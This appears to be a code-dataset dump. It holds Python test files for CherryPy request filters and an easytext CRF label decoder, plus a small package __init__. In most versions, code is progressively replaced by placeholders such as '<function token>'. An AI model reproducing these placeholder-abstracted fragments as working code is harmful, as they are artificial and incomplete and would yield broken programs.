{'pie':\n '3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True,\n 'server.show_tracebacks': False}, '/cpfilterlist/errinstream': {\n 'stream_response': True}, '/cpfilterlist/err_in_onstart': {\n 'numerify_filter.map': 'pie->3.14159'}})\n filters.input_filters.insert(0, Numerify)\n filters.output_filters.insert(0, Numerify)\n filters.init()\n\n\nimport helper\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\nif __name__ == '__main__':\n setup_server()\n helper.testmain()\n", "<docstring token>\n<import token>\ntest.prefer_parent_path()\n<import token>\n\n\nclass AccessFilter(BaseFilter):\n\n def before_request_body(self):\n if not cherrypy.config.get('access_filter.on', False):\n return\n if not getattr(cherrypy.request, 'login', None):\n raise cherrypy.HTTPError(401)\n\n\ndef setup_server():\n\n\n class Numerify(BaseFilter):\n\n def on_start_resource(self):\n m = cherrypy.config.get('numerify_filter.map', {})\n cherrypy.request.numerify_map = m.items()\n\n def before_finalize(self):\n if not cherrypy.config.get('numerify_filter.on', False):\n return\n\n def number_it(body):\n for chunk in body:\n for k, v in cherrypy.request.numerify_map:\n chunk = chunk.replace(k, v)\n yield chunk\n cherrypy.response.body = number_it(cherrypy.response.body)\n\n\n class NadsatFilter:\n\n def __init__(self):\n self.counter = 0\n self.ended = {}\n\n def before_main(self):\n cherrypy.request.counter = self.counter = self.counter + 1\n self.ended[cherrypy.request.counter] = False\n\n def before_finalize(self):\n\n def nadsat_it_up(body):\n for chunk in body:\n chunk = chunk.replace('good', 'horrorshow')\n chunk = chunk.replace('piece', 'lomtick')\n yield chunk\n cherrypy.response.body = nadsat_it_up(cherrypy.response.body)\n\n def on_end_request(self):\n cherrypy.response.body = 'razdrez'\n self.ended[cherrypy.request.counter] = True\n\n\n class Root:\n\n def index(self):\n return 'Howdy earth!'\n index.exposed = True\n cherrypy.root = Root()\n\n\n class TestType(type):\n \"\"\"Metaclass which automatically exposes all functions in each subclass,\n and adds an instance of the subclass as an attribute of cherrypy.root.\n \"\"\"\n\n def __init__(cls, name, bases, dct):\n type.__init__(name, bases, dct)\n for value in dct.itervalues():\n if isinstance(value, types.FunctionType):\n value.exposed = True\n setattr(cherrypy.root, name.lower(), cls())\n\n\n class Test(object):\n __metaclass__ = TestType\n\n\n class CPFilterList(Test):\n _cp_filters = [NadsatFilter()]\n\n def index(self):\n return 'A good piece of cherry pie'\n\n def ended(self, id):\n return repr(self._cp_filters[0].ended[int(id)])\n\n def err(self):\n raise ValueError()\n\n def errinstream(self):\n raise ValueError()\n yield 'confidential'\n\n def restricted(self):\n return 'Welcome!'\n\n def err_in_onstart(self):\n return 'success!'\n cherrypy.config.update({'global': {'server.input_filters': [\n 'cherrypy.test.test_custom_filters.AccessFilter'],\n 'server.log_to_screen': False, 'server.environment': 'production',\n 'server.show_tracebacks': True}, '/cpfilterlist': {\n 'numerify_filter.on': True, 'numerify_filter.map': {'pie':\n '3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True,\n 'server.show_tracebacks': False}, '/cpfilterlist/errinstream': {\n 'stream_response': True}, '/cpfilterlist/err_in_onstart': {\n 'numerify_filter.map': 'pie->3.14159'}})\n filters.input_filters.insert(0, Numerify)\n filters.output_filters.insert(0, Numerify)\n filters.init()\n\n\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\nif __name__ == '__main__':\n setup_server()\n helper.testmain()\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass AccessFilter(BaseFilter):\n\n def before_request_body(self):\n if not cherrypy.config.get('access_filter.on', False):\n return\n if not getattr(cherrypy.request, 'login', None):\n raise cherrypy.HTTPError(401)\n\n\ndef setup_server():\n\n\n class Numerify(BaseFilter):\n\n def on_start_resource(self):\n m = cherrypy.config.get('numerify_filter.map', {})\n cherrypy.request.numerify_map = m.items()\n\n def before_finalize(self):\n if not cherrypy.config.get('numerify_filter.on', False):\n return\n\n def number_it(body):\n for chunk in body:\n for k, v in cherrypy.request.numerify_map:\n chunk = chunk.replace(k, v)\n yield chunk\n cherrypy.response.body = number_it(cherrypy.response.body)\n\n\n class NadsatFilter:\n\n def __init__(self):\n self.counter = 0\n self.ended = {}\n\n def before_main(self):\n cherrypy.request.counter = self.counter = self.counter + 1\n self.ended[cherrypy.request.counter] = False\n\n def before_finalize(self):\n\n def nadsat_it_up(body):\n for chunk in body:\n chunk = chunk.replace('good', 'horrorshow')\n chunk = chunk.replace('piece', 'lomtick')\n yield chunk\n cherrypy.response.body = nadsat_it_up(cherrypy.response.body)\n\n def on_end_request(self):\n cherrypy.response.body = 'razdrez'\n self.ended[cherrypy.request.counter] = True\n\n\n class Root:\n\n def index(self):\n return 'Howdy earth!'\n index.exposed = True\n cherrypy.root = Root()\n\n\n class TestType(type):\n \"\"\"Metaclass which automatically exposes all functions in each subclass,\n and adds an instance of the subclass as an attribute of cherrypy.root.\n \"\"\"\n\n def __init__(cls, name, bases, dct):\n type.__init__(name, bases, dct)\n for value in dct.itervalues():\n if isinstance(value, types.FunctionType):\n value.exposed = True\n setattr(cherrypy.root, name.lower(), cls())\n\n\n class Test(object):\n __metaclass__ = TestType\n\n\n class CPFilterList(Test):\n _cp_filters = [NadsatFilter()]\n\n def index(self):\n return 'A good piece of cherry pie'\n\n def ended(self, id):\n return repr(self._cp_filters[0].ended[int(id)])\n\n def err(self):\n raise ValueError()\n\n def errinstream(self):\n raise ValueError()\n yield 'confidential'\n\n def restricted(self):\n return 'Welcome!'\n\n def err_in_onstart(self):\n return 'success!'\n cherrypy.config.update({'global': {'server.input_filters': [\n 'cherrypy.test.test_custom_filters.AccessFilter'],\n 'server.log_to_screen': False, 'server.environment': 'production',\n 'server.show_tracebacks': True}, '/cpfilterlist': {\n 'numerify_filter.on': True, 'numerify_filter.map': {'pie':\n '3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True,\n 'server.show_tracebacks': False}, '/cpfilterlist/errinstream': {\n 'stream_response': True}, '/cpfilterlist/err_in_onstart': {\n 'numerify_filter.map': 'pie->3.14159'}})\n filters.input_filters.insert(0, Numerify)\n filters.output_filters.insert(0, Numerify)\n filters.init()\n\n\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\n<code token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass AccessFilter(BaseFilter):\n\n def before_request_body(self):\n if not cherrypy.config.get('access_filter.on', False):\n return\n if not getattr(cherrypy.request, 'login', None):\n raise cherrypy.HTTPError(401)\n\n\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\n<code token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass AccessFilter(BaseFilter):\n <function token>\n\n\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\n<code token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\n<code token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n <function token>\n\n\n<code token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n <function token>\n <function token>\n\n\n<code token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n<function token>\n<import token>\n<class token>\n<code token>\n" ]
false
9,979
acad268a228b544d60966a8767734cbf9c1237ac
import veil_component with veil_component.init_component(__name__): from .material import list_category_materials from .material import list_material_categories from .material import list_issue_materials from .material import list_issue_task_materials from .material import get_material_image_url __all__ = [ list_category_materials.__name__, list_material_categories.__name__, list_issue_materials.__name__, list_issue_task_materials.__name__, get_material_image_url.__name__, ]
[ "import veil_component\n\nwith veil_component.init_component(__name__):\n\n from .material import list_category_materials\n from .material import list_material_categories\n from .material import list_issue_materials\n from .material import list_issue_task_materials\n from .material import get_material_image_url\n\n __all__ = [\n list_category_materials.__name__,\n list_material_categories.__name__,\n list_issue_materials.__name__,\n list_issue_task_materials.__name__,\n get_material_image_url.__name__,\n ]\n", "import veil_component\nwith veil_component.init_component(__name__):\n from .material import list_category_materials\n from .material import list_material_categories\n from .material import list_issue_materials\n from .material import list_issue_task_materials\n from .material import get_material_image_url\n __all__ = [list_category_materials.__name__, list_material_categories.\n __name__, list_issue_materials.__name__, list_issue_task_materials.\n __name__, get_material_image_url.__name__]\n", "<import token>\nwith veil_component.init_component(__name__):\n from .material import list_category_materials\n from .material import list_material_categories\n from .material import list_issue_materials\n from .material import list_issue_task_materials\n from .material import get_material_image_url\n __all__ = [list_category_materials.__name__, list_material_categories.\n __name__, list_issue_materials.__name__, list_issue_task_materials.\n __name__, get_material_image_url.__name__]\n", "<import token>\n<code token>\n" ]
false
9,980
f64138ee5a64f09deb72b47b86bd7795acddad4d
#!/usr/bin/env python 3 # -*- coding: utf-8 -*- # # Copyright (c) 2020 PanXu, Inc. All Rights Reserved # """ 测试 label index decoder Authors: PanXu Date: 2020/07/05 15:10:00 """ import pytest import torch from easytext.tests import ASSERT from easytext.data import LabelVocabulary from easytext.modules import ConditionalRandomField from easytext.label_decoder import CRFLabelIndexDecoder class CRFData: """ 测试用的 crf 数据 """ def __init__(self): bio_labels = [["O", "I-X", "B-X", "I-Y", "B-Y"]] self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=LabelVocabulary.PADDING) self.logits = torch.tensor([ [[0, 0, .5, .5, .2], [0, 0, .3, .3, .1], [0, 0, .9, 10, 1]], [[0, 0, .2, .5, .2], [0, 0, 3, .3, .1], [0, 0, .9, 1, 1]], ], dtype=torch.float) self.tags = torch.tensor([ [2, 3, 4], [3, 2, 2] ], dtype=torch.long) self.transitions = torch.tensor([ [0.1, 0.2, 0.3, 0.4, 0.5], [0.8, 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0] ], dtype=torch.float) self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6], dtype=torch.float) self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4], dtype=torch.float) # Use the CRF Module with fixed transitions to compute the log_likelihood self.crf = ConditionalRandomField(5) self.crf.transitions = torch.nn.Parameter(self.transitions) self.crf.start_transitions = torch.nn.Parameter(self.transitions_from_start) self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end) # constraint crf constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, 3), (3, 4), (4, 4), (4, 0)} # Add the transitions to the end tag # and from the start tag. for i in range(5): constraints.add((5, i)) constraints.add((i, 6)) constraint_crf = ConditionalRandomField(num_tags=5, constraints=constraints) constraint_crf.transitions = torch.nn.Parameter(self.transitions) constraint_crf.start_transitions = torch.nn.Parameter(self.transitions_from_start) constraint_crf.end_transitions = torch.nn.Parameter(self.transitions_to_end) self.constraint_crf = constraint_crf @pytest.fixture(scope="class") def crf_data(): """ 产生测试用的 crf data :return: """ return CRFData() def test_crf_label_index_decoder(crf_data): """ 测试 crf label index decoder :param crf_data: crf data :return: """ mask = torch.tensor([ [1, 1, 1], [1, 1, 0] ], dtype=torch.long) crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf, label_vocabulary=crf_data.label_vocabulary) label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask) padding_index = crf_data.label_vocabulary.padding_index expect = [[2, 4, 3], [4, 2, padding_index]] ASSERT.assertListEqual(expect, label_indices.tolist()) def test_crf_label_index_decoder_with_constraint(crf_data): mask = torch.tensor([ [1, 1, 1], [1, 1, 0] ], dtype=torch.uint8) crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.constraint_crf, label_vocabulary=crf_data.label_vocabulary) label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask) padding_index = crf_data.label_vocabulary.padding_index expect = [[2, 3, 3], [2, 3, padding_index]] ASSERT.assertListEqual(expect, label_indices.tolist())
[ "#!/usr/bin/env python 3\n# -*- coding: utf-8 -*-\n\n#\n# Copyright (c) 2020 PanXu, Inc. All Rights Reserved\n#\n\"\"\"\n测试 label index decoder\n\nAuthors: PanXu\nDate: 2020/07/05 15:10:00\n\"\"\"\nimport pytest\nimport torch\n\nfrom easytext.tests import ASSERT\n\nfrom easytext.data import LabelVocabulary\nfrom easytext.modules import ConditionalRandomField\nfrom easytext.label_decoder import CRFLabelIndexDecoder\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [[\"O\", \"I-X\", \"B-X\", \"I-Y\", \"B-Y\"]]\n\n self.label_vocabulary = LabelVocabulary(labels=bio_labels,\n padding=LabelVocabulary.PADDING)\n\n self.logits = torch.tensor([\n [[0, 0, .5, .5, .2], [0, 0, .3, .3, .1], [0, 0, .9, 10, 1]],\n [[0, 0, .2, .5, .2], [0, 0, 3, .3, .1], [0, 0, .9, 1, 1]],\n ], dtype=torch.float)\n\n self.tags = torch.tensor([\n [2, 3, 4],\n [3, 2, 2]\n ], dtype=torch.long)\n\n self.transitions = torch.tensor([\n [0.1, 0.2, 0.3, 0.4, 0.5],\n [0.8, 0.3, 0.1, 0.7, 0.9],\n [-0.3, 2.1, -5.6, 3.4, 4.0],\n [0.2, 0.4, 0.6, -0.3, -0.4],\n [1.0, 1.0, 1.0, 1.0, 1.0]\n ], dtype=torch.float)\n\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4], dtype=torch.float)\n\n # Use the CRF Module with fixed transitions to compute the log_likelihood\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n\n # constraint crf\n constraints = {(0, 0), (0, 1),\n (1, 1), (1, 2),\n (2, 2), (2, 3),\n (3, 3), (3, 4),\n (4, 4), (4, 0)}\n\n # Add the transitions to the end tag\n # and from the start tag.\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope=\"class\")\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\ndef test_crf_label_index_decoder(crf_data):\n \"\"\"\n 测试 crf label index decoder\n :param crf_data: crf data\n :return:\n \"\"\"\n mask = torch.tensor([\n [1, 1, 1],\n [1, 1, 0]\n ], dtype=torch.long)\n\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,\n label_vocabulary=crf_data.label_vocabulary)\n\n label_indices = crf_label_index_decoder(logits=crf_data.logits,\n mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 4, 3], [4, 2, padding_index]]\n\n ASSERT.assertListEqual(expect, label_indices.tolist())\n\n\ndef test_crf_label_index_decoder_with_constraint(crf_data):\n mask = torch.tensor([\n [1, 1, 1],\n [1, 1, 0]\n ], dtype=torch.uint8)\n\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.constraint_crf,\n label_vocabulary=crf_data.label_vocabulary)\n\n label_indices = crf_label_index_decoder(logits=crf_data.logits,\n mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 3, 3], [2, 3, padding_index]]\n\n ASSERT.assertListEqual(expect, label_indices.tolist())\n", "<docstring token>\nimport pytest\nimport torch\nfrom easytext.tests import ASSERT\nfrom easytext.data import LabelVocabulary\nfrom easytext.modules import ConditionalRandomField\nfrom easytext.label_decoder import CRFLabelIndexDecoder\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope='class')\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\ndef test_crf_label_index_decoder(crf_data):\n \"\"\"\n 测试 crf label index decoder\n :param crf_data: crf data\n :return:\n \"\"\"\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,\n label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 4, 3], [4, 2, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n\n\ndef test_crf_label_index_decoder_with_constraint(crf_data):\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.uint8)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.\n constraint_crf, label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 3, 3], [2, 3, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n", "<docstring token>\n<import token>\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope='class')\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\ndef test_crf_label_index_decoder(crf_data):\n \"\"\"\n 测试 crf label index decoder\n :param crf_data: crf data\n :return:\n \"\"\"\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,\n label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 4, 3], [4, 2, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n\n\ndef test_crf_label_index_decoder_with_constraint(crf_data):\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.uint8)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.\n constraint_crf, label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 3, 3], [2, 3, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n", "<docstring token>\n<import token>\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = 